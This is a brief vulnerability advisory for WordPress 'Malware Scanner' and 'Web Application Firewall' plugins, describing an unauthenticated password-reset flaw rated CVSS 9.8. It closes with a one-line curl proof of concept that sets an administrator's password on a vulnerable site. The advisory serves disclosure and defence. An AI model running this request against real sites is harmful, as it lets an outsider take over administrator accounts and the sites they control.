Malware Scanner < 4.7.3 and Web Application Firewall < 2.1.2 - Unauthenticated Privilege Escalation

2024-03-1300:00:00

wpscan.com

malware scanner

web application firewall

unauthenticated privilege escalation

password reset

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

Percentile

15.5%

JSON

Description The plugin does not prevent unauthenticated users from resetting any account’s password, allowing them to takeover sites by resetting one of its administrators’ password.

PoC

curl --url ‘http://vulnerable-site.tld/wp-login.php’ --data ‘option=mo_wpns_change_password&username;=simpleadmin&new;_password=P4ssw0rd!&confirm;_password=P4ssw0rd!’